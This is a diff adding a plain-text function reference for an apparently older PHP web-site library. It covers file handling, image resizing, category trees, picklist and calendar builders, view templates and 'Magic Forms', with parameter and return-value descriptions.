+       Parameters:                                                             
+               $file_name      -- Name of the file to duplicate
+               $base_path      -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+       Return value:                                                   
+               Returns         Name of duplicate file or '' if failure.
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       bool    file_delete( string $file_name, string $base_path )                     
+------------------------------------------------------------------------
+
+Delete a stored File                                   
+
+       Parameters:                                                             
+               $file_name -- Name of the file to delete
+               $base_path      -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+       Return value:                                                   
+               Returns TRUE if all is OK or FALSE if file wasn't there
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       string  file_get( string $file_name [, int $max_size], string $base_path )
+------------------------------------------------------------------------
+
+Read the specified file and return the results
+
+       Parameters:                                                             
+               $file_name      -- $form_field of image with _name
+               $max_size       -- Optional maximum size of file to read (0=all - default)              
+               $base_path      -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+       Return value:                                                   
+               string $file_contents   -- Contents of the file or FALSE if error
+
+       Global references:                                                      
+       
+
+------------------------------------------------------------------------
+       bool  file_ouput_secure( string $file_name, string $md5, string $path );
+------------------------------------------------------------------------
+
+Output the specified file from the specified path using secure method to protect directory. 
+
+The directory or file specified should be unreachable via the web server, usually as a result
+of using a .htaccess rule to block access to the directory. The directory must be under SI_BASE_PATH.
+The file is output by actually reading the file and writing out to the browser. Only known mime types
+will work since the mime type needs to be specified when the file is output. This function will attempt
+to determine the mime type and if it can't will use a default type that may not result in desired action
+by the user's browser.
+
+The md5 string is required and must match an md5 string generated by this function. The md5 string is
+created from the file name with SI_FILE_SECRET appended to it. Since the user doesn't know the secret
+string, any messing with the file name will result in a failure. This protects other files in the
+directory when the user attempts to guess their names.
+
+If SI_FILE_SECRET doesn't exist or is empty this function will output an error message and exit.
+
+This function is required for ouput when using the "secure" option for the "file" type field in the
+admin functions.
+
+       Parameters:                                                             
+               $file_name      -- Name of the file to output
+               $md5            -- MD5 String created using file name and SI_FILE_SECRET parameter
+               $base_path      -- Optional base path for location of files - Defaults to SI_BASE_FILE_PATH
+                                       If supplied it is appended to SI_BASE_PATH to come up with
+                                       complete path.
+
+       Return value:                                                   
+               bool            -- True if successful, false if file is not found or md5 doesn't match.
+
+       Global references:                                                      
+               SI_BASE_FILE_PATH
+               SI_BASE_PATH
+               SI_FILE_SECRET
+                       
+
+************************************************************************
+*                                                                      *
+*                        GRAPHICS FUNCTIONS                            *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       array   img_info( string $path2image )                                   
+------------------------------------------------------------------------
+
+Returns information about an image                     
+
+       Parameters:                                                             
+               $path2image --  path to image
+
+       Return value:                                                   
+               Returns $img_data = Array
+                       ['width']               = Width
+                       ['height']              = Height
+                       ['type_num']    = Type Number
+                       ['type']                = Type name 
+                       ['size']                = 'height="yyy" width="xxx"' string for use in HTML tags
+                       ['bits']                = Bits
+                       ['channels']    = Channels
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       bool    graphic_thumb(string $img, string $timg, string $type)
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif            
+
+       NOTES:                                                          
+               This function expects "good" parameters. Make sure you  
+               ereg_replace any bad escape characters (or even spaces) that
+               are part of $img and $timg before passing them to       
+               graphic_thumb(). You may want to look at escapeshellcmd() or
+               EscapeShellArg() once we upgrade to php4.03     ./muk   
+
+       Parameters:                                                             
+               $img -- path to image which needs to be thumbed         
+               $timg -- path where thumbnail will live                 
+               $type -- mime type of image e.g. "image/jpeg"           
+
+       Return value:                                                   
+               Returns 1 on success 0 on failure                       
+
+       Global references:                                                      
+               DJPEG                                                   
+               CJPEG                                                   
+               PNMSCALE                                                
+               GIFTOPNM                                                
+               PPMTOGIF                                                
+               PPMQUANT                                                
+
+
+------------------------------------------------------------------------
+       bool    graphic_resize(string $img, string $timg, string $type, int $w, int $h)
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif            
+
+       NOTES:                                                          
+               This function expects "good" parameters. Make sure you  
+               ereg_replace any bad escape characters (or even spaces) that
+               are part of $img and $timg before passing them to       
+               graphic_thumb(). You may want to look at escapeshellcmd() or
+               EscapeShellArg() once we upgrade to php4.03     ./muk   
+
+       Parameters:                                                             
+               $img -- path to image which needs to be resized         
+               $timg -- path where resized image will live             
+               $type -- mime type of image e.g. "image/jpeg"           
+               $w -- width of new image                                
+               $h -- height of new image                               
+
+       Return value:                                                   
+               Returns 1 on success 0 on failure                       
+
+       Global references:                                                      
+               DJPEG                                                   
+               CJPEG                                                   
+               PNMSCALE                                                
+               GIFTOPNM                                                
+               PPMTOGIF                                                
+               PPMQUANT                                                
+       
+------------------------------------------------------------------------
+       array   img_resized(string $path2image, string $path2thumb, string $axis, int $size)                                   
+------------------------------------------------------------------------
+
+       Resizes an image based on a full scale jpeg or gif                      
+
+
+       Parameters:                                                             
+               $path2image --  path to image which needs to be resized 
+               $path2thumb -- path where resized image will live       
+               $axis -- 'h' for height , 'w' for width , or 'a' for both
+               $size -- using axis size of new image                   
+
+       Return value:                                                   
+               Returns $img_resized_array                              
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       array   img_upload(string $form_field, string $image_name, string $destination_path)                                  
+------------------------------------------------------------------------
+
+Creates a thumbnail image based on a full scale jpeg or gif            
+
+       NOTES:                                                          
+               This function expects "good" parameters. Make sure you  
+               ereg_replace any bad escape characters (or even spaces) that
+               are part of $img and $timg before passing them to       
+               graphic_thumb(). You may want to look at escapeshellcmd() or
+               EscapeShellArg() once we upgrade to php4.03     ./muk   
+
+        Parameters:                                                            
+               $form_field --  $form_field of image                    
+               $image_name -- $form_field of image with _name          
+               $destination_path -- path to store uploaded image       
+               $w -- width of new image                                
+               $h -- height of new image                               
+
+       Return value:                                                   
+               Returns $img_upload_array                               
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       string  process_image(string $image, string $image_name)                        
+------------------------------------------------------------------------
+
+Main function for image processing                                     
+
+       NOTES:                                                          
+               This function does the following:                       
+               1) places image into original folder                    
+               2) makes three images from original size and places them
+                  into the RESIZED, MIDSIZED, and THUMB folders        
+
+       Parameters:                                                             
+               $image  -- The variable of the image being post from the form
+               $image_name -- The variable_name of the image being post        
+
+       Return value:                                                   
+               Returns $image_name                                     
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       bool    delete_image( string $image_name )                      
+------------------------------------------------------------------------
+
+Main function for image processing                                     
+
+       NOTES:                                                          
+               This function does the following:                       
+               1) deletes images in all sizes for a particular name    
+
+       Parameters:                                                             
+               $image -- The variable of the image being post from the form
+               $image -- The variable_name of the image being deleted  
+
+       Return value:                                                   
+               Returns TRUE if all is OK or FALSE if images weren't there
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       string  duplicate_image( string $image_name )                   
+------------------------------------------------------------------------
+
+Main function for image processing                                     
+
+       NOTES:                                                          
+               This function does the following:                       
+               1) creates a duplicate of each size of an image in each
+                  image directory using a new filename.
+
+       Parameters:                                                             
+               $image_name     Name of the existing image to duplicate
+
+       Return value:                                                   
+               Returns the name of the image copy or an empty string
+
+       Global references:                                                      
+
+
+************************************************************************
+*                                                                      *
+*               GENERAL SUPPORT FUNCTIONS / CLASSES                    *
+*                                                                             *
+************************************************************************
+
+
+
+------------------------------------------------------------------------
+       Class Name: timestampfunc
+------------------------------------------------------------------------
+
+Class Functions
+
+array newdate($timestamp)                               
+    This function is used internally by the class to    
+    handle the dirty work of getting the month and year  
+    out of the time stamp.  Used mostly to cut down on   
+    the number of lines of code in the class             
+                                                         
+string first_of_month($timestamp)                       
+    This function takes a unix timestamp, and returns a  
+    unix timestamp of the first day of the month of the  
+    timestamp passed to it.                              
+                                                         
+ string first_last_month($timestamp)                     
+    This functin takes a unix timestamp, and returns a   
+    unix timestamp of the first day month previous to    
+    the timestamp passed to it.                         
+                                                         
+ string first_next_month($timestamp)                     
+    This function takes a unix timestamp and returns a   
+    time stamp for the first of the next month           
+                                                         
+ string first_of_Xmonth($timestamp,$x)                   
+    This function takes a unix timestamp, and the number 
+    of months to calculate for ($x).  $x can be positive 
+    or negative.  The function returns a time stamp for  
+    the first day of whatever the return month is.       
+
+
+
+------------------------------------------------------------------------
+       float   pos_value( float $value )
+------------------------------------------------------------------------
+
+This function the value only if it's positive, otherwise return 0
+
+       Parameters:                                                             
+               $value  Value to check
+
+       Return value:                                                   
+               float value if > 0      
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  money( string $value, string $option)
+------------------------------------------------------------------------
+
+This function returns a string formatted for US Dollars
+
+       Parameters:                                                             
+               $value  Value in dollars to format
+               $option Optional control parameter
+                       "NOPREFIX" - Do not display $ in front of number
+
+       Return value:                                                   
+               String containing money formatted string with "$"
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array   strtoarray( string $s )
+------------------------------------------------------------------------
+
+This function converts a standard data string to an array
+
+       Parameters:                                                             
+               $s              Standard data string
+                                 key^value~key^value^...
+
+       Return value:                                                   
+               Array containing data from string or FALSE
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  arraytostring( array $a, string $type )
+------------------------------------------------------------------------
+
+This function converts an array into a standard data string
+
+       Parameters:                                                             
+               $a              An array containing data for the string
+
+       Return value:                                                   
+               Standard data string in the form of 
+                       key^value~key^value^...
+               or FALSE if there's an error.
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  replace_tokens( string $s, array $tokens )                                      
+------------------------------------------------------------------------
+
+This function replaces all occurances of the tokens listed in $tokens
+with the string associated with each token where each token is found
+in the string surrounded by curly braces ( "{" and "}" )
+
+       Parameters:                                                             
+               $s                      String to be modified
+               $tokens         Array of tokens to use for replacement
+                                               Key is name of token
+                                               Value is string that replaces token
+
+       Return value:                                                   
+               Modified string
+
+       Global references:                                                      
+               None                                                    
+       
+
+------------------------------------------------------------------------
+       string  cond_replace_tokens( string $s, array $tokens )                                 
+------------------------------------------------------------------------
+
+This function checks for "<!--{if:...}--> ... <!--{else} ... {/if}-->"
+syntax. With this syntax, one sting is used when the if condition is
+true and the other when it isn't. 
+
+       There are two forms of the {if:...} syntax:
+
+               <!--{if:t}-->
+
+                       In this form, the condition is true if the token named "t" is
+                       not empty ( = "" ).
+
+               <!--{if:t=v}-->
+
+                       In this form, the condition is true if the value of the token
+                       named "t" is equal to the string "v".
+                                                                       
+       Parameters:                                                             
+               $s                      String to be modified
+               $tokens         Array of tokens to use for tests and replacement
+                                               Key is name of token
+                                               Value is string that replaces token
+
+       Return value:                                                   
+               Modified string
+
+       Global references:                                                      
+               None                                                    
+       
+
+------------------------------------------------------------------------
+       string  replace_file_tokens( string $s )                                        
+------------------------------------------------------------------------
+
+This function checks for the "file" token and replaces the token and 
+all contents of it with the contents of the file. The second form 
+permits text between the start and end of the token that would be 
+displayed when directly viewing the file.
+
+       The syntax is:
+
+               <!--{file:f}-->
+    or
+               <!--{file:f}--> any_text <!--{/file}-->
+
+                       Where f is the name of a file to insert
+
+
+                       In this form, the condition is true if the value of the token
+                       named "t" is equal to the string "v".
+                                                                       
+       Parameters:                                                             
+               $s                      String to be modified
+
+       Return value:                                                   
+               Modified string
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  tableize_array( array $a )                                      
+------------------------------------------------------------------------
+
+Produce HTML table describing contents of an array
+
+       Parameters:                                                             
+               $a                      Array to be described
+
+       Return value:                                                   
+               String with HTML code to display array
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  admin_field_select( array $fields, char $filter )                                       
+------------------------------------------------------------------------
+
+Select field data from an array based on which function it will be used for
+
+       Parameters:                                                             
+               $fields         Complete standard admin_..._record() format field data
+                                       with the addition of a set of characters. These
+                                       characters indicate which function the line applies to.
+                                       (n)ew, (a)dd, (e)dit, (u)pdate, (d)elete, (c)confirm, 
+                                       (v)iew, (l)ist, (f)ilter
+               $filter         Filter character indicating which type of admin function
+                                       filter to use (n, a, e, u, d, c, v, l, or f)
+
+       Return value:                                                   
+               String ready to be fed into $fields parameter of admin function
+
+       Global references:                                                      
+               none
+
+------------------------------------------------------------------------
+       string  admin_menu_std( string $action, string $a_title, int $id, 
+                                               string $opt, string $options, string $add_menu, string $params );                                       
+       string  admin_menu( string $action, string $a_title, int $id, 
+                                               string $opt, string $options, string $add_menu, string $params );                                       
+------------------------------------------------------------------------
+
+Generate standard admin low-level menu. admin_menu() generates older HTML while
+admin_menu_std() generates newer standard GLM HTML for admin areas (<div>'s).
+
+       Parameters:                                                             
+               $action         Action this menu is associated with
+               $a_title                Title to display at left of menu
+               $id                     ID of current record
+               $opt            Current Option being executed (Normally $Option)
+               $options        String of characters indicating which options are
+                                       to be provided
+                                               l=list, v=view, e=edit, d=delete, a=add 
+               $add_menu       Additional Menu items to be included at end.
+               $params         Additional link Parameters that need to be passed in the form
+                                               of typlical link data ( x=x1&y=y1&... )
+
+       Return value:                                                   
+               String ready to be displayed. Does not include trailing <BR>
+
+       Global references:                                                      
+               none
+
+
+------------------------------------------------------------------------
+       string  clean_input( string $var_name, string $type, bool $required ) 
+------------------------------------------------------------------------
+
+Cleanup input parameters and test them for proper type of data then
+place cleaned up input values back into the parameter referenced.
+
+       Parameters:
+               $var_name       Name of the input variable to clean up (not the parameter itself
+               $type           Expected type of the parameter - Optional, defaults to 'text'
+                                               int                     Integer number
+                                               float           Floating point number (accepts integer also)
+                                                                               Also trims "$" if included
+                                               phone           Phone number (any legal style)
+                                               zip                     ZIP/Postal Codes (Any legal style)
+                                               text            General Text input
+                                               state           Checks against state list in siteinfo.inc
+                                               country         Checks against country list in siteinfo.inc
+                                               email           Checks for legal E-Mail address
+                                               creditcard      Checks for legal Credit Card number
+                                               date            Checks for legal Date/time
+                                               inet            Checks for legal Internet Address or Netmask (IP)
+               $required       Field is require (true/false)
+                                               
+       Return value:
+               string          Returns an empty string if all is OK, or an error message
+                                       if not.
+                                               
+       Global References       
+               References the specified parameter as a global
+               $si_states_array for type 'state'                               
+               $si_countries_array for type 'country'
+               
+               
+------------------------------------------------------------------------
+       string  data_to_url( array $data, string $prefix ) 
+------------------------------------------------------------------------
+
+Build the parameter list of a search engine friendly URL using the supplied
+parameters. The url will include only the parameters, properly encoded, in
+the sequence they appear in the array and separated by /'s.
+
+       Parameters:
+               $data           Array of data to include. Key is name of parameter
+                                       and array values are the values to be passed in the URL. 
+                                       Note that the keys are for caller reference only and
+                                       are not really used in this funtion.
+               $prefix         Any desired URL prefix to include.
+               
+       Returned Value:
+               string          The search engine friendly URL
+               
+       Global References:
+               (none)
+
+------------------------------------------------------------------------
+       array   url_to_data( array $data, string $url, string $start_key ) 
+------------------------------------------------------------------------
+
+Read a list of parameters from a search engine friendly URL and stuff the
+results in the returned array.
+
+       Parameters
+               $data           Array similar to that used in data_to_url() function
+                                       except that the array values are not used. Keys are
+                                       the names of the parameters. Note that the keys are
+                                       for caller reference only and are not really used in
+                                       this function. URL parameters are assumed to be in
+                                       the same order as the array.
+               $url            URL to parse as source of parameter data.
+               $start_key      String used to identify postion in the URL where the
+                                       parameter values start. The function will search for
+                                       this string plus a following / and will use anything
+                                       following as the parameter list.
+
+       Returned Value:
+               array           Array of data similar to that passed to data_to_url()
+                                       function containing parameter names as the keys and
+                                       parameter values as the array values.
+                                       
+       Global References:
+               (none)
+
+
+------------------------------------------------------------------------
+string                 build_nav( array $nav_table, string $menu_title, string $current_item = '', 
+                                                       string $sub_menu = '', string $link_data = '' )         
+------------------------------------------------------------------------
+
+Builds standard navigation code.
+
+       Parameters:
+               $nav_table              Array of menu items - Contains:
+                                                       key             Name of menu item
+                                                       'title' Text to display for Menu item
+                                                       'url'   URL for link from menu to selected item
+               $menu_title             Title for top of menu
+               $current_item   Name of the current menu item as listed in $menu
+               $sub_menu               Sub-Menu text to be included at point of current_item
+               $link_data              Additional link data to be appended to URL
+       
+       Returned Value:
+               string                  HTML of menu
+       
+       Global References:
+               (none)
+
+
+
+************************************************************************
+*                                                                      *
+*                    CATEGORY SUPPORT FUNCTIONS                        *
+*                                                                             *
+************************************************************************
+
+       Note that category functions assume the following fields in tables
+       
+       Field   Key Req         Description
+       ------- -----------     --------------------------------------
+       id              Yes                     Unique ID for the category node
+       parent  Yes                     Parent node id
+       name                            Category Name field
+       sort                            Sort order field for (sub)category
+                
+------------------------------------------------------------------------
+       string  category_path_func( string $table_name )
+------------------------------------------------------------------------
+
+Returns PL/pgSQL category_path support function for specified data table
+                                                                       
+Before running these functions on any database the language must be
+loaded into the database using the following command line.
+
+       createlang -h {server} -U {user} plpgsql {database_name}
+
+       Parameters:                                                             
+               string $table_name              Name of category table
+
+       Return value:                                                   
+
+               string          String containing function definition. Must load this by
+                                       including it in a query. Best to do that as part of a 
+                                       transaction to make sure the function doesn't change by
+                                       another process.
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       array   cat_get_node( string $table, string $qs, string $order )
+       array   cat_get_nodes( string $table, string $qs, string $order )
+------------------------------------------------------------------------
+
+This function returns an array of results from a category table using
+the supplied query string. 
+
+The results are sorted by category hierarchy.
+                                       
+cat_get_node() is for getting a single node                            
+cat_get_nodes() is for getting a list of nodes
+  ( results are similar to db_auto_get_row() and db_auto_get_data() )                          
+
+       Parameters:                                                             
+               $table  Table name to query
+               $qs             Query string used to select category nodes
+                                       Defaults to nothing
+               $order  ORDER BY string for ordering results other than by category path
+
+       Return value:                                                   
+               array   Array of nodes data containing all fields for each record
+                               in the category table
+
+       Also included with each node array is an array element called 'parent_data'
+       that provides the following...
+               ['cat_names']           An array of parent node names from top level down
+               ['cat_id_path']         A "|" delimited string of the cat ID path 
+                                                               (all parents in sequence followed by the current id)
+               ['cat_ids']                     An array of the cat ID from top level down
+                                                               (all parents in sequence followed by the current id)
+               ['cat_level']           A number indicating the category level of current node
+                                                               0 = Top level
+
+               or FALSE if none
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       array   cat_get_expanded_nodes( string $table, int $id )
+------------------------------------------------------------------------
+
+This function returns an array of results from a category table suitable
+for use with a contracted menu of categories. Categories that are returned
+are the target and all siblings of all parents.
+
+The results are sorted by category hierarchy.
+
+Parameters:                                                            
+               $table  Table name to query
+               $id             ID of target category node
+
+       Return value:                                                   
+               array   Array of nodes data containing all fields for each record
+                               in the category table
+                               
+       Also included with each node array is an array element called 'parent_data'
+       that provides the following...
+               ['cat_names']           An array of parent node names from top level down
+               ['cat_ids']                     An array of parent id's from top level down
+               ['cat_level']           A number indicating the category level of current node
+                                                               0 = Top level
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array   cat_get_tree( string $table, int $id )
+------------------------------------------------------------------------
+
+  ***** NOT IMPLEMENTED *****
+
+This function returns an array of results from a category table that 
+includes the entire tree of a target category and every category subordinate
+to it.
+
+The results are sorted by category hierarchy.
+
+Parameters:                                                            
+               $table  Table name to query
+               $id             ID of target category node
+
+       Return value:                                                   
+               array   Array of nodes data containing all fields for each record
+                               in the category table
+                               
+       Also included with each node array is an array element called 'parent_data'
+       that provides the following...
+               ['cat_names']           An array of parent node names from top level down
+               ['cat_ids']                     An array of parent id's from top level down
+               ['cat_level']           A number indicating the category level of current node
+                                                               0 = Top level
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       bool    cat_resequence_siblings( string $table, int $parent )
+------------------------------------------------------------------------
+
+This function resequences the "order" field of a group of siblings
+to normalize the numbering. It renumbers by 10's starting at 10 to 
+permit insertion of new nodes at any point or to move a node to any 
+point.
+
+       Parameters:                                                             
+               $table  Table name to query
+               $parent Parent ID
+
+       Return value:                                                   
+               bool    TRUE or FALSE (if some error)
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array   cat_move_node( string $table, int $id, int $new_parent )
+------------------------------------------------------------------------
+
+       **** PENDING ****
+
+This function resequences the "order" field of a group of siblings
+to normalize the numbering. It renumbers by 10's starting at 10 to 
+permit insertion of new nodes at any point or to move a node to any 
+point.
+
+       Parameters:                                                             
+               $table  Table name to query
+               $parent Parent ID
+
+       Return value:                                                   
+               bool    TRUE or FALSE (if some error)
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       bool    cat_delete_node( string $table, int $id, string $method )
+------------------------------------------------------------------------
+
+       **** PENDING ****
+
+This function deletes a target node. Depending on $method, it will either
+delete all children or assign them to the deleted node's parent.
+
+       Parameters:                                                             
+               $table  Table name to query
+               $parent Parent ID
+               $method Method of deletion
+                               "node"  - Delete the node only and assign children to parent
+                                                       DEFAULT
+                               "tree"  - Delete all children as well as the target node
+
+       Return value:                                                   
+               bool    TRUE or FALSE (if some error)
+
+       Global references:                                                      
+               None                                                    
+
+
+************************************************************************
+*                                                                      *
+*                       HIGH-LEVEL FUNCTIONS                           *
+*                                                                             *
+************************************************************************
+
+
+
+------------------------------------------------------------------------
+       string  build_numeric_picklist( string $fieldname, int $starting, int $ending,
+                                 int $selected )
+------------------------------------------------------------------------
+
+This function returns a string containing the HTML code for a picklist
+with the specified name and containing sequential numeric OPTIONS.
+
+       Parameters:                                                             
+               $fieldname      Field name
+               $starting       Lowest number in list
+               $ending         Highest number in list
+               $selected       Start with this number selected (optional)
+
+       Return value:                                                   
+               String containing HTML code for picklist
+
+       Global references:                                                      
+               None                                                    
+
+       
+       
+------------------------------------------------------------------------
+       string  build_picklist( string $fieldname, array $data, string $selected [, string $type]
+                                       [, string $options] )                                   
+------------------------------------------------------------------------
+
+This function returns an HTML string that provides picklist input
+
+       Parameters:                                                             
+               $fieldname      Field name
+               $data           Array of pick list options
+               $selected       Index to match for "SELECTED" option
+                                       (or "" if none)
+               $type           (optional) Type of source array
+                                       "standard" - Array element Index is OPTION value and element value is text to display
+                                       "simple"   - Array element value is both text and OPTION value
+               $options        Optional list of options - {option1}~{option2}~...
+                               Options are:    
+                                       blank           Include blank option 
+                                       numeric         Order numeric by value
+                                       alpha           Order alphanumeric by value
+                                       ascending       Order ascending
+                                       descending      Order Descending
+                                       multi           Multiple selection permitted
+
+       Return value:                                                   
+               String containing HTML code for picklist
+                                                                       
+       Global references:                                                      
+               None                                                    
+
+       
+------------------------------------------------------------------------
+       string  build_radio_buttons( string $fieldname, array $data, string $selected
+                               [, string $separator] [, string $type] [, string $options] )                                    
+------------------------------------------------------------------------
+
+This function returns an HTML string that provides Radio Button input
+
+       Parameters:                                                             
+               $fieldname      Field name
+               $data           Array or standard data string of radio button options
+               $selected       Index to match for "SELECTED" option
+                                       (or "" if none)
+               $type           (optional) Type of source array
+                                       "standard" - Array index is button value, array data is displayed text
+                                       "simple"   - Array element data is both button value and text
+               $options        Optional list of options - {option1}~{option2}~...
+                               Options are:    
+                                       numeric         Order numeric by value
+                                       alpha           Order alphanumeric by value
+                                       ascending       Order ascending
+                                       descending      Order Descending
+                                       before          Text before button (default)
+                                       after           Text after button
+               $separator      String to be used as separator for radio button options
+
+       Return value:                                                   
+               String containing HTML code for radio button input
+
+       Global references:                                                      
+               None                                                    
+       
+
+------------------------------------------------------------------------
+       string calendar_date_select( string $default_value, timestamp $start_date, timestamp $end_date,
+                               string $form_name, string $field_name, string $options, string $no_earlier )
+------------------------------------------------------------------------
+
+       This function creates a date input form with a link to a pop-up calendar                                                
+
+       Parameters:                             
+               $default_value  Text to use as default value for input field
+               $selected_date  Timestamp of date that should be selected by default
+                                       in pop-up calendar                              
+               $start_date     Timestamp of first date to allow in pop-up calendar
+               $stop_date      Timestamp of last date to allow in pop-up calendar
+               $form_name      Name of submission form
+               $field_name     Base name of target field in Form
+                                       Saves results into:
+                                               {$field_name}_date
+                                               {$field_name}_month (includes year)
+               $options        Optional controls - comma separated
+                                       NO_PROMPT       No (month/day/year) prompt
+                                       TEXT            Single text input field (default)
+                                       PICK            Month, Day, Year picklists
+                                       HIDE_YEAR       Hide year picklist
+               $no_earlier     Optional name of form field that may contain a date
+                                       that should be used as the earliest date to
+                                       set as the default date. If $selected_date is
+                                       earlier than this, set $selected_date to this date. 
+
+       Return value: String containing complete form
+                                                                       
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       string  calendar_display( int $month, int $year, array $date_data 
+                                               [, string $headerinfo] [, string Rmonthinfo] )
+------------------------------------------------------------------------
+
+Build an HTML calendar with data from the array in each date
+
+       Parameters: 
+               $month                  Numeric month value 1-12
+               $year                   Numeric year value e.g. 2002
+        $date_data             array, index must be number of day,
+                               ["text"] is displayed inside calendar
+                               ["link"] is link target
+        $headerinfo            String to place under the Month and Year
+               $monthinfo              String to replace Month/Year title line
+
+       Return value: calendar as string
+
+       Global references:
+               None
+
+
+
+------------------------------------------------------------------------
+       array   get_us_counties( string $state, bool $fail_mode, $include_any )                                 
+------------------------------------------------------------------------
+
+This function returns an array containing the names of counties in the
+state specified.       
+
+       Parameters:                                                             
+               $state          2 letter code of state                  
+               $fail_mode      Failure Mode
+                                       TRUE    = Abort with HTML
+                                       FALSE   = Return with fail code
+               #include_any    Include an option "(any)", which = ""
+
+       Return value:                                                   
+               Array of counties
+
+       Global references:                                                      
+               None                                                    
+       
+
+------------------------------------------------------------------------
+       string  parse_view( string $file_name, array $tokens, bool $show_unused )                                       
+------------------------------------------------------------------------
+
+This function loads a "view" file, replaces all occurances of 
+the specified tokens. The view file may also designate areas to
+exclude from the file (discard), may specify header, body, and footer
+regions, and may specify a set of body designs that are to be used in
+rotation for sets of body tokens.
+
+       Parameters:                                                             
+               $file_name      Full path and name of view file                 
+               $tokens         A multi-dimentional array of sets of tokens
+
+       The view file may include the following designators:
+
+       **** NEED TO REWRITE THIS DOCUMENTATION ****
+       **** ALSO CHANGE REPLACEMENTS T%O NOT USE REGEX ****
+
+       <!--{include:filenmae}-->
+       
+               Replace all occurances with contents of filename. The file name
+               is relative to the root of the web site. i.e. ...
+                       
+                       <!--{include:sales/policy.inc}-->
+                       
+               ... will include the file SI_BASE_PATH."/sales/policy.inc".
+
+       <!--{exclude}--> and <!--{/exclude}-->
+
+               All text between EXCLUDE and /EXCLUDE comments will be deleted.
+               This permits the inclusion of areas in the view file that allow
+               for more a more complete perspective when laying out the view
+               file such that it can be directly viewed on a browser or in an
+               HTML layout package.
+
+               Both start and end EXCLUDE tags must be used or the area will not
+               be excluded from the results.
+
+       <!--{list:name}--> and <!--{/list}-->
+
+               The {BODY} and {/BODY} comment tags designate the start and end
+               of a "body" section of the view file file. Text before the 
+               {BODY} tag is considered the "header" and text after the {/BODY}
+               tag is considered the "footer".
+
+               The body section is parsed and added to the result multiple
+               times, once for each set of "body" tokens.
+
+               Both {BODY} and {/BODY} tags must be used together or not at all.
+               There can be only one set of such tags in a view file. If they
+               do not exist, the whole file is parsed as a unit using the 
+               "global" tokens only.
+
+       <!--{sep}--> and <!--{/sep}-->
+
+               The body of a view file may be separated into "sections" by
+               including the {SECTION} comment tags. When there are multiple
+               sections of the body, these sections are used in rotation as
+               each set of "body" tokens is applied. There may be any number of
+               {SECTION} comment tags or none at all. These tags may not appear
+               in the header or footer of the view file.
+
+       $tokens array as the following structure
+
+               
+               "global" => array
+                       (
+                       token   =>      string,
+                       token   =>      string,
+                       ...
+                               tokey key/value sets used in header, footer or for the 
+                               whole file if the file is not separated by comment tags.
+                       )
+               "body" => array
+                       (
+                       0       => array
+                               (
+                               token   => string,
+                               token   => string,
+                               ...
+                                       token key/value sets used for a body section 
+                               )
+                       1       => array
+                               (
+                               token   => string,
+                               token   => string,
+                               ...
+                                       token key/value sets used for a body section 
+                               )
+                       ...
+                               The "body" array contains as many sets of data as
+                               there are to be copies of the body section. 
+                       )
+
+       Return value:                                                   
+               String representing modified view file contents.
+
+       Global references:                                                      
+               None                                                    
+
+************************************************************************
+*                                                                      *
+*                       MAGIC FORM FUNCTIONS                           *
+*                                                                             *
+************************************************************************
+
+****WARNING: NEED TO UPDATE MAGIC FORM DOCUMENTATION TO INCLUDE FIELD FORMATS AND DEFAULT SELECTIONS/VALUES. ****
+
+
+Magic Forms are forms that are built by the user and that can contain a 
+number of different field types and optional sub-forms.
+
+There are 3 functions associated with Magic Forms. They are...
+
+       magic_form_edit()               Create/Edit a Form
+       magic_form_display()    Display a form
+       magic_form_submit()             Process a submitted form
+
+Magic Forms uses a single database table to store all form data. The name
+of this table is specified using the MF_TABLE defined parameter.
+
+Database Table Schema
+
+       CREATE TABLE magicform
+               (
+               id                      SERIAL,
+               form_id         text,
+               custom_id       text,
+               title           text,
+               type            smallint,
+               descr           text,
+               active          bool,
+               required        bool,
+               data1           text,
+               sort            smallint,
+               expanded        bool,
+               style           text,
+               image           text,
+               cols            int,
+               rows            int
+               );
+
+After creating this table, create an index for the id field.
+       CREATE INDEX magicform_form_id_index ON magicform( form_id );
+
+Magic Forms also use a "format" array that contains information on what output
+formats are available and how to display them. These can include anything from
+simple one line formats for each field, to complex multi-column formats. These
+format specifications use the View Tags capability to permit complex and
+conditional use of form components. The following is an example.
+
+$mf_format = array
+       (
+       
+       'Default' =>    array
+                               (
+                               'types'         => ' 1 2 3 4 5 6 20 21 23 30 31 ',                                                                                                                                                                      // Field types - MUST HAVE SPACE EACH SIDE OF VALUES 
+                               'short_name' => 'Default',                                                                                                                                                                                                                      // A short name used in form edit
+                               'cols'          => 1,                                                                                                                                                                                                                                   // Number of columns per row
+                               'start'         => '',                                                                                                                                                                                                                                  // Text when starting this style
+                               'row_start'     => '',                                                                                                                                                                                                                                  // Text when starting a row
+                               'body'          => '<ul>
+                                                                       <!--{if:required}--><font color="red">{title}</font><!--{else:required}<b>{title}</b>{/if:required}--><br>
